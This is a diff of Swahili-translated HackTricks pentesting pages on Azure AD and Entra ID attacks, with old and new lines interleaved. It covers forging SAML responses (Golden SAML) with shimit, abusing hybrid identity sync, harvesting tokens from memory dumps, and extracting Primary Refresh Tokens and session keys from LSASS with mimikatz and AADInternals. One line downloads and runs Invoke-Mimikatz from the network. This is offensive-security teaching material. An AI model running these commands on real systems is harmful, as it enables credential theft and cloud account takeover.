>Unaweza **federate your on-premises** environment **with Azure AD** na kutumia federation hii kwa ajili ya authentication na authorization. Njia hii ya kuingia inahakikisha kwamba **authentication ya mtumiaji inafanyika kwenye eneo**. Njia hii inaruhusu wasimamizi kutekeleza viwango vya juu vya udhibiti wa upatikanaji. Federation na **AD FS** na PingFederate inapatikana.
>Unaweza **federate your on-premises** mazingira **na Azure AD** na kutumia federation hii kwa ajili ya authentication na authorization. Njia hii ya kuingia inahakikisha kwamba **authentication ya mtumiaji inafanyika kwenye-premises**. Njia hii inaruhusu wasimamizi kutekeleza viwango vya juu vya udhibiti wa upatikanaji. Federation na **AD FS** na PingFederate inapatikana.
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
@@ -25,7 +25,7 @@ Katika mpangilio wowote wa federation kuna pande tatu:
1. Kwanza, programu (Mtoa Huduma au SP, kama vile AWS console au vSphere web client) inafikiwa na mtumiaji. Hatua hii inaweza kupuuziliwa mbali, ikimpeleka mteja moja kwa moja kwa IdP (Mtoa Kitambulisho) kulingana na utekelezaji maalum.
2. Kisha, SP inatambua IdP sahihi (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na inampeleka mteja kwa IdP iliyochaguliwa.
3. IdP inachukua jukumu, ikimthibitisha mtumiaji. Baada ya uthibitisho, SAMLResponse inaundwa na IdP na kupelekwa kwa SP kupitia mtumiaji.
3. IdP inachukua jukumu, ikimthibitisha mtumiaji. Baada ya authentication, SAMLResponse inaundwa na IdP na kupelekwa kwa SP kupitia mtumiaji.
4. Hatimaye, SP inakagua SAMLResponse. Ikiwa imethibitishwa kwa mafanikio, ikionyesha uhusiano wa kuaminika na IdP, mtumiaji anapewa upatikanaji. Hii inamaanisha kumalizika kwa mchakato wa kuingia, ikimruhusu mtumiaji kutumia huduma hiyo.
**Ikiwa unataka kujifunza zaidi kuhusu SAML authentication na mashambulizi ya kawaida nenda kwa:**
@@ -37,10 +37,10 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
## Pivoting
- AD FS ni mfano wa kitambulisho unaotegemea madai.
- "..claimsaresimplystatements(forexample,name,identity,group), made about users, that are used primarily for authorizing access to claims-based applications located anywhere on the Internet."
- Madai kwa mtumiaji yanaandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP.
- "..claims ni taarifa tu (kwa mfano, jina, kitambulisho, kundi), zinazotolewa kuhusu watumiaji, ambazo zinatumika hasa kwa ajili ya kuidhinisha upatikanaji wa programu zinazotegemea madai zilizo mahali popote kwenye Mtandao."
- Madai ya mtumiaji yanaandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP.
- Mtumiaji anajulikana kwa ImmutableID. Ni ya kipekee duniani na inahifadhiwa katika Azure AD.
- The ImmutableID inahifadhiwa kwenye on-prem as ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka kwa GUID wa mtumiaji.
- ImmutableID inahifadhiwa kwenye-premises kama ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka kwa GUID wa mtumiaji.
- Maelezo zaidi katika [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
**Golden SAML attack:**
@@ -55,20 +55,20 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
Mchakato ambapo **Mtoa Kitambulisho (IdP)** anatoa **SAMLResponse** ili kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, **jibu** linaweza kuwa **limesainiwa** au **limefungwa** kwa kutumia **funguo binafsi za IdP**. Utaratibu huu unaruhusu **Mtoa Huduma (SP)** kuthibitisha uhalali wa SAMLResponse, kuhakikisha kwamba ilitolewa na IdP wa kuaminika.
Mfanoweza kuhusishwa na [golden ticket attack](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), ambapo funguo inayothibitisha utambulisho wa mtumiaji na ruhusa (KRBTGT kwa tiketi za dhahabu, funguo binafsi za kusaini token kwa golden SAML) inaweza kudhibitiwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP.
Mfanowe unaweza kuhusishwa na [shambulio la golden ticket](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), ambapo funguo inayothibitisha kitambulisho na ruhusa za mtumiaji (KRBTGT kwa tiketi za dhahabu, funguo binafsi za kusaini token kwa golden SAML) inaweza kubadilishwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP.
Golden SAMLs hutoa faida fulani:
Golden SAML zinatoa faida fulani:
- Zinaweza **kuundwa kwa mbali**, bila haja ya kuwa sehemu ya domain au federation husika.
- Zinabaki kuwa na ufanisi hata na **Two-Factor Authentication (2FA)** imewezeshwa.
- Funguo binafsi ya kusaini **haijazinduliwa kiotomatiki**.
- Funguo binafsi ya kusaini **haijarudi kiotomatiki**.
- **Kubadilisha nenosiri la mtumiaji hakuharibu** SAML iliyotengenezwa tayari.
#### AWS + AD FS + Golden SAML
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) ni huduma ya Microsoft inayowezesha **mabadilishano salama ya taarifa za utambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki utambulisho wa watumiaji na watoa huduma wengine ndani ya federation.
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) ni huduma ya Microsoft inayowezesha **kubadilishana kwa usalama wa taarifa za kitambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki vitambulisho vya watumiaji na watoa huduma wengine ndani ya federation.
Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili kupata **idhini yoyote katika mazingira ya AWS**. Shambulio hili linahitaji **funguo binafsi inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulio la tiketi ya dhahabu. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii binafsi.
Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili kupata **idhini yoyote katika mazingira ya AWS**. Shambulio hili linahitaji **funguo binafsi inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulio la golden ticket. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii binafsi.
Mahitaji ya kutekeleza shambulio la golden SAML ni pamoja na:
@@ -80,9 +80,9 @@ Mahitaji ya kutekeleza shambulio la golden SAML ni pamoja na:
- Jina la kikao cha jukumu katika AWS
- Amazon account ID
_Vitu vyote vilivyo na maandiko ya mafuta ni vya lazima. Vingine vinaweza kujazwa kama inavyotakiwa._
_Vitu vyote vilivyo na maandiko ya mafuta ni lazima. Vingine vinaweza kujazwa kama inavyotakiwa._
Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** ni muhimu. Kutoka hapo, funguo binafsi inaweza **kuzuiliwa kutoka kwenye duka binafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS:
Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** ni muhimu. Kutoka hapo, funguo binafsi inaweza **kuzalishwa kutoka kwenye duka la kibinafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS:
```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -96,7 +96,7 @@ Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** n
# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
Kwa kutumia taarifa zote, inawezekana kusahau SAMLResponse halali kama mtumiaji unayetaka kujifanya kutumia [**shimit**](https://github.com/cyberark/shimit)**:**
Kwa taarifa zote, inawezekana kusahau SAMLResponse halali kama mtumiaji unayetaka kujifanya kutumia [**shimit**](https://github.com/cyberark/shimit)**:**
```bash
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,11 +1,11 @@
# Hybrid Identity Miscellaneous Attacks
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
## Kulazimisha Usawazishaji wa watumiaji wa Entra ID hadi kwenye on-prem
Kama ilivyotajwa katika [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), ilikuwa inawezekana kubadilisha thamani ya **`ProxyAddress`** ndani ya mtumiaji wa AD katika on-prem AD kwa kuongeza barua pepe ya mtumiaji wa admin wa Entra ID na pia kuhakikisha UPN wa mtumiaji katika AD na katika Entra ID inalingana (hii ni Entra ID tena), kama **`SMTP:admin@domain.onmicrosoft.com`**. Na hii inge **lazimisha usawazishaji wa mtumiaji huyu** kutoka Entra ID hadi kwenye on-prem AD, hivyo ikiwa nenosiri la mtumiaji lilijulikana, lingeweza kutumika **kuingia kwenye admin aliyejulikana katika Entra ID.**
Kama ilivyotajwa katika [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg), ilikuwa inawezekana kubadilisha thamani ya **`ProxyAddress`** ndani ya mtumiaji wa AD katika on-prem kwa kuongeza barua pepe ya mtumiaji wa admin wa Entra ID na pia kuhakikisha UPN wa mtumiaji katika AD na katika Entra ID inalingana (hii ni Entra ID tena), kama **`SMTP:admin@domain.onmicrosoft.com`**. Na hii ingekuwa **kulazimisha usawazishaji wa mtumiaji huyu** kutoka Entra ID hadi kwenye on-prem AD, hivyo ikiwa nenosiri la mtumiaji lilijulikana, lingeweza kutumika **kuingia kwenye admin aliyejulikana katika Entra ID.**
Ili kusawazisha mtumiaji mpya kutoka Entra ID hadi kwenye on-prem AD, haya ndiyo mahitaji pekee:
@@ -15,15 +15,15 @@ Ili kusawazisha mtumiaji mpya kutoka Entra ID hadi kwenye on-prem AD, haya ndiyo
> [!CAUTION]
> Entra ID haiwezi kusawazisha wasimamizi tena kutoka Entra ID hadi kwenye on-prem AD.
> Entra ID haiwezi kuruhusu kusawazisha wasimamizi tena kutoka Entra ID hadi kwenye on-prem AD.
> Pia, hii **haitapita MFA**.
## Marejeo
## Marejeleo
- [https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg)
- [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/)
- [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/)
{{#include ../../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}
@@ -9,7 +9,7 @@
Tokens na data nyeti huhifadhiwa kwa ndani na Azure CLI, kuleta wasiwasi wa usalama:
1. **Access Tokens**: Huhifadhiwa katika maandiko wazi ndani ya `accessTokens.json` iliyoko `C:\Users\<username>\.Azure`.
2. **Subscription Information**: `azureProfile.json`, katika directory hiyo hiyo, ina maelezo ya usajili.
2. **Subscription Information**: `azureProfile.json`, katika saraka hiyo hiyo, ina maelezo ya usajili.
3. **Log Files**: Folda ya `ErrorRecords` ndani ya `.azure` inaweza kuwa na logi zenye akidi zilizofichuliwa, kama vile:
- Amri zilizotekelezwa zikiwa na akidi zilizojumuishwa.
- URLs zilizofikiwa kwa kutumia tokens, ambazo zinaweza kufichua taarifa nyeti.
@@ -29,11 +29,11 @@ Azure PowerShell pia huhifadhi tokens na data nyeti, ambazo zinaweza kufikiwa kw
## Tokens in memory
Kama ilivyoelezwa katika [**hii video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), baadhi ya programu za Microsoft zilizounganishwa na wingu (Excel, Teams...) zinaweza **kuhifadhi tokens za ufikiaji katika maandiko wazi katika kumbukumbu**. Hivyo basi **kudondoa** **kumbukumbu** ya mchakato na **kuangalia kwa JWT tokens** kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA.
Kama ilivyoelezwa katika [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), baadhi ya programu za Microsoft zinazohusishwa na wingu (Excel, Teams...) zinaweza **kuhifadhi tokens za ufikiaji katika maandiko wazi katika kumbukumbu**. Hivyo basi **kudondosha** **kumbukumbu** ya mchakato na **kuangalia kwa JWT tokens** kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA.
Hatua:
1. Dondoa mchakato wa excel uliounganishwa na mtumiaji wa EntraID kwa kutumia chombo chako unachokipenda.
1. Dondosha michakato ya excel iliyohusishwa na mtumiaji wa EntraID kwa kutumia chombo chako unachokipenda.
2. Endesha: `string excel.dmp | grep 'eyJ0'` na pata tokens kadhaa katika matokeo
3. Pata tokens zinazokuvutia zaidi na endesha zana juu yao:
```bash
@@ -24,7 +24,7 @@ Inawezekana **kuomba cheti cha P2P** kwa mtumiaji kwa kutumia zana [**PrtToCert*
```bash
RequestCert.py [-h] --tenantId TENANTID --prt PRT --userName USERNAME --hexCtx HEXCTX --hexDerivedKey HEXDERIVEDKEY [--passPhrase PASSPHRASE]
```
Vyeti vitadumu kwa muda sawa na PRT. Kutumia cheti unaweza kutumia chombo cha python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) ambacho kitafanya **uthibitishaji** kwenye mashine ya mbali, kukimbia **PSEXEC** na **kufungua CMD** kwenye mashine ya mwathirika. Hii itaturuhusu kutumia Mimikatz tena kupata PRT ya mtumiaji mwingine.
Vyeti vitadumu kwa muda sawa na PRT. Kutumia cheti unaweza kutumia zana ya python [**AzureADJoinedMachinePTC**](https://github.com/morRubin/AzureADJoinedMachinePTC) ambayo itafanya **uthibitishaji** kwenye mashine ya mbali, kuendesha **PSEXEC** na **kufungua CMD** kwenye mashine ya mwathirika. Hii itaturuhusu kutumia Mimikatz tena kupata PRT ya mtumiaji mwingine.
```bash
Main.py [-h] --usercert USERCERT --certpass CERTPASS --remoteip REMOTEIP
```
@@ -4,7 +4,7 @@
## Kwa Nini Cookies?
Browser **cookies** ni mekanizma nzuri ya **kuepuka uthibitishaji na MFA**. Kwa sababu mtumiaji tayari amejiandikisha katika programu, **cookie** ya kikao inaweza kutumika tu **kupata data** kama mtumiaji huyo, bila kuhitaji kujiandikisha tena.
Browser **cookies** ni mekanizma nzuri ya **kuepuka uthibitisho na MFA**. Kwa sababu mtumiaji tayari amejiandikisha katika programu, **cookie** ya kikao inaweza kutumika tu **kupata data** kama mtumiaji huyo, bila kuhitaji kujiandikisha tena.
Unaweza kuona ambapo **cookies za kivinjari ziko** katika:
@@ -14,7 +14,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
## Shambulio
Sehemu ngumu ni kwamba **cookies hizo zimefungwa** kwa **mtumiaji** kupitia Microsoft Data Protection API (**DPAPI**). Hii imefungwa kwa kutumia [funguo za cryptographic zinazohusishwa na mtumiaji](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) ambao cookies zinahusiana nazo. Unaweza kupata maelezo zaidi kuhusu hii katika:
Sehemu ngumu ni kwamba **cookies hizo zimefungwa** kwa **mtumiaji** kupitia Microsoft Data Protection API (**DPAPI**). Hii imefungwa kwa kutumia [funguo za kificho zinazohusishwa na mtumiaji](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) ambazo cookies zinamiliki. Unaweza kupata maelezo zaidi kuhusu hii katika:
{{#ref}}
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html
@@ -4,9 +4,9 @@
## What is a Primary Refresh Token (PRT)?
A **Primary Refresh Token (PRT)** ni token ya muda mrefu ya refresher inayotumika katika uthibitishaji wa Azure AD (Entra ID), sawa na Kerberos TGT. Inatolewa wakati wa kuingia kwa mtumiaji kwenye kifaa kilichounganishwa na Azure AD na inaweza kutumika kuomba token za ufikiaji kwa programu mbalimbali bila kuhitaji tena akidi. Kila PRT inakuja na **funguo ya kikao** (pia inajulikana kama funguo ya Ushahidi wa Umiliki) -- funguo ya symmetrick inayotumika kusaini maombi na kuthibitisha kwamba mteja ana PRT. PRT yenyewe ni blob isiyo na uwazi, iliyosimbwa (haiwezi kusomwa na mteja), wakati funguo ya kikao inatumika **kusaini** JWT inayojumuisha PRT wakati wa kuomba token. Kwa maneno mengine, umiliki wa PRT peke yake hauitoshi; mshambuliaji anahitaji funguo ya kikao kuthibitisha uhalali, sawa na kuhitaji Kerberos TGT na funguo yake ya kikao kwa uthibitishaji.
A **Primary Refresh Token (PRT)** ni token ya muda mrefu ya refresher inayotumika katika uthibitishaji wa Azure AD (Entra ID), sawa na Kerberos TGT. Inatolewa wakati wa kuingia kwa mtumiaji kwenye kifaa kilichounganishwa na Azure AD na inaweza kutumika kuomba token za ufikiaji kwa programu mbalimbali bila kuhitaji tena akidi. Kila PRT inakuja na **funguo ya kikao** (pia inajulikana kama funguo ya Ushahidi wa Umiliki) -- funguo ya symmetrick inayotumika kusaini maombi na kuthibitisha kwamba mteja ana PRT. PRT yenyewe ni blob isiyo na uwazi, iliyosimbwa (haiwezi kusomwa na mteja), wakati funguo ya kikao inatumika **kusaini** JWT inayojumuisha PRT wakati wa kuomba token. Kwa maneno mengine, kuwa na PRT pekee haitoshi; mshambuliaji anahitaji funguo ya kikao kuthibitisha uhalali, sawa na kuhitaji Kerberos TGT na funguo yake ya kikao kwa uthibitishaji.
Katika Windows, PRT na funguo ya kikao zinahifadhiwa kwenye mchakato wa LSASS kupitia plugin ya CloudAP. Ikiwa kifaa kina **TPM** (Moduli ya Jukwaa Iliyotegemewa), Azure AD inafunga funguo kwa TPM kwa usalama wa ziada. Hii inamaanisha kwenye vifaa vilivyo na TPM, funguo ya kikao inahifadhiwa au kutumika ndani ya TPM kwa namna ambayo haiwezi kusomwa moja kwa moja kutoka kwenye kumbukumbu chini ya hali za kawaida. Ikiwa hakuna TPM inapatikana (k.m. VM nyingi au mifumo ya zamani), funguo zinawekwa kwenye programu na kulindwa kwa usimbaji wa DPAPI. Katika hali zote mbili, mshambuliaji mwenye mamlaka ya usimamizi au utekelezaji wa msimbo kwenye mashine anaweza kujaribu **kudondosha PRT na funguo ya kikao kutoka kwenye kumbukumbu** kama sehemu ya baada ya unyakuzi, na kisha kuzitumia kujifanya kuwa mtumiaji katika wingu. Tofauti na token za refresher za kawaida (ambazo mara nyingi ni maalum kwa programu), PRT ni pana, ikiruhusu kifaa chako kuomba token kwa rasilimali au huduma karibu yoyote iliyounganishwa na Entra ID.
Katika Windows, PRT na funguo ya kikao zinahifadhiwa kwenye mchakato wa LSASS kupitia plugin ya CloudAP. Ikiwa kifaa kina **TPM** (Moduli ya Jukwaa Iliyotegemewa), Azure AD inafunga funguo kwa TPM kwa usalama wa ziada. Hii inamaanisha kwenye vifaa vilivyo na TPM, funguo ya kikao inahifadhiwa au kutumika ndani ya TPM kwa namna ambayo haiwezi kusomwa moja kwa moja kutoka kwenye kumbukumbu chini ya hali za kawaida. Ikiwa hakuna TPM inapatikana (k.m. VM nyingi au mifumo ya zamani), funguo zinawekwa kwenye programu na kulindwa kwa usimbaji wa DPAPI. Katika hali zote mbili, mshambuliaji mwenye mamlaka ya usimamizi au utekelezaji wa msimbo kwenye mashine anaweza kujaribu **kudump PRT na funguo ya kikao kutoka kwenye kumbukumbu** kama sehemu ya baada ya unyakuzi, na kisha kuzitumia kujifanya kuwa mtumiaji katika wingu. Tofauti na token za refresher za kawaida (ambazo mara nyingi ni maalum kwa programu), PRT ni pana, ikiruhusu kifaa chako kuomba token kwa rasilimali au huduma karibu yoyote iliyounganishwa na Entra ID.
## How Does a PRT Work?
@@ -38,7 +38,7 @@ Here's a simplified breakdown of how a PRT operates:
- **Universal Access:** Tofauti na token za kawaida zinazozuiliwa kwa programu au rasilimali moja, PRT inaweza kuwezesha ufikiaji kwa huduma zote zilizounganishwa na Entra ID.
- **Enhanced Security:** Kwa ulinzi wa vifaa vilivyojengewa ndani (kama TPM), PRT zinahakikisha uhifadhi na matumizi salama ya token.
- **Enhanced Security:** Kwa ulinzi wa vifaa vilivyojengeka (kama TPM), PRT zinahakikisha uhifadhi na matumizi salama ya token.
- **User Experience:** PRT zinaboresha sana uzoefu wa mtumiaji kwa kupunguza maonyesho ya mara kwa mara ya uthibitishaji na kuwezesha SSO isiyo na mshono.
@@ -63,13 +63,13 @@ dsregcmd /status
```
## Pass the PRT
Kulingana na [hiki posti](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) kwenye vifaa vya Windows **bila TPM binding**, PRT na funguo zake za kikao zinaishi katika LSASS (CloudAP plugin). Ukiwa na admin wa ndani/SYSTEM kwenye kifaa hicho, PRT blob na funguo ya kikao iliyosimbwa kwa DPAPI zinaweza **kusomwa kutoka LSASS, funguo ya kikao ikasimbuliwa kupitia DPAPI, na funguo ya kusaini ikatolewa** ili kutengeneza cookie halali ya PRT (`xmsRefreshTokenCredential`). Unahitaji PRT na funguo yake ya kikao—nyuzi za PRT pekee hazitoshi.
Kulingana na [hiki chapisho](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) kwenye vifaa vya Windows **bila TPM binding**, PRT na funguo zake za kikao zinaishi katika LSASS (CloudAP plugin). Ukiwa na admin wa ndani/SYSTEM kwenye kifaa hicho, PRT blob na funguo ya kikao iliyosimbwa kwa DPAPI zinaweza **kusomwa kutoka LSASS, funguo ya kikao ikisimbuliwa kupitia DPAPI, na funguo ya kusaini ikitolewa** ili kutengeneza cookie halali ya PRT (`xmsRefreshTokenCredential`). Unahitaji PRT na funguo yake ya kikao—nyuzi za PRT pekee hazitoshi.
### Mimikatz
1. **PRT (Primary Refresh Token) inachukuliwa kutoka LSASS** (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye.
2. **Funguo ya Kikao inachukuliwa ifuatayo**. Kwa kuwa funguo hii inatolewa mwanzoni kisha inasimbwa tena na kifaa cha ndani, inahitaji kusimbuliwa kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) na kwa kuelewa matumizi yake, rejea [Pass-the-cookie attack](az-pass-the-cookie.md).
3. Baada ya kusimbua funguo ya Kikao, **funguo iliyotolewa na muktadha wa PRT inapatikana**. Hizi ni muhimu kwa **kuunda cookie ya PRT**. Kwa haswa, funguo iliyotolewa inatumika kwa kusaini JWT (JSON Web Token) inayounda cookie hiyo. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana [hapa](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
3. Baada ya kusimbuliwa kwa Funguo ya Kikao, **funguo iliyotolewa na muktadha wa PRT inapatikana**. Hizi ni muhimu kwa **kuunda cookie ya PRT**. Kwa haswa, funguo iliyotolewa inatumika kwa kusaini JWT (JSON Web Token) inayounda cookie hiyo. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana [hapa](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
```bash
privilege::debug
sekurlsa::cloudap
@@ -78,11 +78,11 @@ sekurlsa::cloudap
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
```
The **PRT field** inaonyesha token ya kusasisha iliyosimbwa (kawaida ni mfuatano wa base64), na KeyValue katika ProofOfPossessionKey ni funguo ya kikao iliyosimbwa kwa DPAPI (pia ni base64).
**Uwanja wa PRT** unajumuisha token ya refresher iliyosimbwa (kawaida ni mfuatano wa base64), na KeyValue katika ProofOfPossessionKey ni funguo ya kikao iliyosimbwa kwa DPAPI (pia ni base64).
Kisha, kutoka kwa **`sekurlsa::cloudap`** matokeo, nakili blob ya base64 kutoka **`KeyValue`** ndani ya uwanja `ProofOfPossessionKey` (hii ni funguo ya kikao iliyosimbwa kwa DPAPI). Funguo hii iliyosimbwa haiwezi kutumika kama ilivyo inapaswa kufichuliwa kwa kutumia akidi za DPAPI za mfumo.
Kisha, kutoka kwa **`sekurlsa::cloudap`** matokeo, nakili blob ya base64 kutoka **`KeyValue`** ndani ya uwanja wa `ProofOfPossessionKey` (hii ni funguo ya kikao iliyosimbwa kwa DPAPI). Funguo hii iliyosimbwa haiwezi kutumika kama ilivyo inapaswa kufichuliwa kwa kutumia akidi za DPAPI za mfumo.
Kwa sababu usimbaji wa DPAPI kwa siri za mfumo unahitaji muktadha wa mfumo wa mashine, pandisha kiwango chako hadi SYSTEM na tumia moduli ya DPAPI ya Mimikatz kufichua:
Kwa sababu usimbaji wa DPAPI kwa siri za mfumo unahitaji muktadha wa mfumo wa mashine, pandisha token yako hadi SYSTEM na tumia moduli ya DPAPI ya Mimikatz kufichua:
```bash
token::elevate
dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
@@ -90,13 +90,13 @@ dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect
# PowerShell version
Invoke-Mimikatz -Command '"token::elevate" "dpapi::cloudapkd /keyvalue:<EncryptedKeyBlob> /unprotect"'
```
`token::elevate` itafanya uigaji wa SYSTEM na amri `dpapi::cloudapkd` yenye `/unprotect` itatumia funguo kuu ya DPAPI kufungua KeyValue blob iliyotolewa. Hii inatoa funguo ya kikao katika maandiko safi na pia Funguo Iliyotokana na Muktadha inayotumika kwa ajili ya kusaini:
`token::elevate` itafanya kuiga SYSTEM na amri `dpapi::cloudapkd` yenye `/unprotect` itatumia funguo kuu ya DPAPI kufungua KeyValue blob iliyotolewa. Hii inatoa funguo ya kikao katika maandiko safi na pia Funguo Iliyotokana na Muktadha inayotumika kwa ajili ya kusaini:
- **Funguo safi** funguo ya kikao ya byte 32 katika maandiko safi (imewakilishwa kama mfuatano wa hex).
- **Funguo Iliyotokana** funguo ya byte 32 iliyotokana na funguo ya kikao na thamani ya muktadha (zaidi kuhusu hii hapa chini).
- **Muktadha** muktadha wa nasibu wa byte 24 ambao ulitumika wakati wa kutunga funguo ya kusaini kwa keki ya PRT.
> [!NOTE]
> Ikiwa hii haifanyi kazi kwako kuigiza mtumiaji, angalia sehemu ifuatayo ukitumia **`AADInternals`**.
> Ikiwa hii haifanyi kazi kwako kuiga mtumiaji, angalia sehemu ifuatayo ukitumia **`AADInternals`**.
Kisha, unaweza pia kutumia mimikatz kutengeneza keki halali ya PRT:
```bash
@@ -135,7 +135,7 @@ $prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
# Get an access token for MS Graph API
Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken
```
Hii inapata cookie mpya ya PRT (ikiwa na nonce) na kisha inaitumia kupata tokeni ya ufikiaji kwa ajili ya Azure AD Graph API (ikiashiria ufikiaji wa wingu kwa niaba ya mtumiaji). AADInternals inafanya muhtasari wa sehemu kubwa ya cryptography na inatumia vipengele vya Windows au mantiki yake mwenyewe chini ya uso.
Hii inapata cookie mpya ya PRT (ikiwa na nonce) na kisha inaitumia kupata token ya ufikiaji kwa Azure AD Graph API (ikiashiria ufikiaji wa wingu kwa niaba ya mtumiaji). AADInternals inafanya muhtasari wa sehemu kubwa ya cryptography na inatumia vipengele vya Windows au mantiki yake mwenyewe chini ya uso.
### Mimikatz + roadtx
@@ -152,33 +152,33 @@ roadtx describe < .roadtools_auth
#### Mimikatz + roadrecon
Kwa kuwa na muktadha na funguo zilizopatikana na mimikatz, inawezekana kutumia roadrecon kuunda cookie mpya iliyosainiwa na:
Kuwa na muktadha na ufunguo uliochukuliwa na mimikatz, inawezekana kutumia roadrecon kuunda cookie mpya iliyosainiwa na:
```bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
```
## Abusing protected PRTs
## Kutumia PRT zilizolindwa
